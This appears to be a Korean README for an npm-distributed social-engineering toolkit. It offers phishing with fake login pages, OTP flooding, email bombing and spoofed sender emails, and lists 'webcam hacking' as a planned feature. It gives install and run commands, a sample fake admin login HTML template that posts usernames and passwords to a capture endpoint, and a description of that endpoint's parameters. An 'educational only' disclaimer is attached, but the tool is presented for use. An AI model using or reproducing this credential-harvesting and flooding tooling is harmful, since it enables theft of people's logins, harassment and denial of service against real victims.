피싱, OTP/이메일 폭탄, 가짜 메일 등을 자동화하는 강력한 소셜 엔지니어링 툴킷입니다 — @karthithehacker가 ❤️로 제작했습니다.

Main Menu

⚠️ 교육 목적으로만 사용하세요. 명시적인 허가 없이 누구에게도 이 도구를 사용하지 마십시오.

📌 기능

🎯 피싱 공격 – 자격 증명을 탈취하기 위한 가짜 로그인 페이지 시뮬레이션
🔢 OTP 폭탄 – 대상 번호에 OTP 요청 플러드
📩 이메일 폭탄 – 받은 편지함을 마비시키기 위한 대량 이메일 전송
📧 가짜 이메일 보내기 – 사용자 지정 스푸핑 발신자 이메일
❌ 종료 – 툴킷을 정상적으로 종료

(키로거 및 IP 체인저 옵션은 JavaScript 포팅에서 제거되었습니다.)

💻 기술 스택

언어: Node.js (JavaScript)
사용된 라이브러리:
- axios
- chalk
- ora
- socket.io
- uuid

🗂️ 프로젝트 구조

SocialEngineering/
├── AttackModes/
│   ├── emailBombing.js
│   ├── emailspoofing.js
│   ├── otpBombing.js
│   ├── provider.js
│   └── … (other helpers)
├── includes/
│   ├── banner.js
│   ├── dbgateway.js
│   ├── menu.js
│   ├── phishing.js
│   └── utils.js
├── db/
│   └── Socialengineering-db.json
├── SocialEngineering.js        # main CLI entry
├── package.json
└── README.md

🚀 사용법

🔧 설치

저장소를 클론하세요:

npm install socialengineering -g

📌 도구 실행


SocialEngineering

메뉴 예시:


███████╗ ██████╗  ██████╗██╗ █████╗ ██╗
██╔════╝██╔═══██╗██╔════╝██║██╔══██╗██║
███████╗██║   ██║██║     ██║███████║██║
╚════██║██║   ██║██║     ██║██╔══██║██║
███████║╚██████╔╝╚██████╗██║██║  ██║███████╗
╚══════╝ ╚═════╝  ╚═════╝╚═╝╚═╝  ╚═╝╚══════╝

███████╗███╗   ██╗ ██████╗ ██╗███╗   ██╗███████╗███████╗██████╗ ██╗███╗   ██╗ ██████╗
██╔════╝████╗  ██║██╔════╝ ██║████╗  ██║██╔════╝██╔════╝██╔══██╗██║████╗  ██║██╔════╝
█████╗  ██╔██╗ ██║██║  ███╗██║██╔██╗ ██║█████╗  █████╗  ██████╔╝██║██╔██╗ ██║██║  ███╗
██╔══╝  ██║╚██╗██║██║   ██║██║██║╚██╗██║██╔══╝  ██╔══╝  ██╔══██╗██║██║╚██╗██║██║   ██║
███████╗██║ ╚████║╚██████╔╝██║██║ ╚████║███████╗███████╗██║  ██║██║██║ ╚████║╚██████╔╝
╚══════╝╚═╝  ╚═══╝ ╚═════╝ ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝

                                                           Website: cappriciosec.com
            Main Menu             
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ No. ┃ Option                     ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1   │ 🎯 Start Phishing Attack   │
│ 2   │ 📲 OTP Bombing             │
│ 3   │ 📩 Email Bombing           │
│ 4   │ 📧 Send Fake Email         │
│ 0   │ ❌ Quit                    │
└━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┘
👉 Select an option:

🔧 참고 사항

팬텀 templates/ 폴더는 피싱 모듈에서 사용됩니다. 다음 구조에 따라 새 템플릿을 추가할 수 있습니다:
```
~/SocialEngineering-Templates/
   ├── yourtemplatename/
       ├── index.html
       └── index.css
```
피싱 서버는 선택한 템플릿의 파일을 제공하고 /login을 통해 자격 증명을 캡처합니다.

🧪 예제 가짜 로그인 템플릿 (HTML)

`index.html`

    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>XYZ Admin Login</title>
      <link rel="stylesheet" href="index.css">
    </head>
    <body>
      <form action="/login" method="post" class="login-box">
        <h2>Login</h2>
        <input type="text" name="username" placeholder="Username or Email" required>
        <input type="hidden" name="type" value="xyz"></input>
        <input type="password" name="password" placeholder="Password" required>
        <input type="submit" value="Login">
        <div class="note">fake template</div>
      </form>
    </body>
    </html>

📡 피싱 포털 엔드포인트

login.php 엔드포인트는 가짜 로그인 페이지(템플릿)에서 자격 증명을 수신합니다. 사용자가 로그인 양식을 제출하면 서버는 다음 매개변수를 캡처합니다:

📥 POST `/login`

🔮 계획된 기능

곧 출시 예정:

📞 가짜 IVR 통화
🛠️ 설정 / 구성 메뉴
🎥 웹캠 해킹

👨‍💻 작성자

웹사이트: karthithehacker.com
GitHub: @karthi-the-hacker

⚠️ 고지 사항

이 도구는 오로지 교육적이고 윤리적인 용도로만 사용하도록 제작되었습니다. 사전 동의 없이 대상을 공격하는 데 사용하지 마십시오. 개발자는 어떠한 오용 또는 불법 활동에 대해서도 책임을 지지 않습니다.

`username`	`string`	필수. 사용자가 입력한 사용자 이름 또는 이메일
`password`	`string`	필수. 사용자가 입력한 비밀번호
`type`	`string`	필수. 개발자가 설정한 템플릿 이름

SocialEngineering

인기

SOCIAL ENGINEER 🎯🕵️‍♂️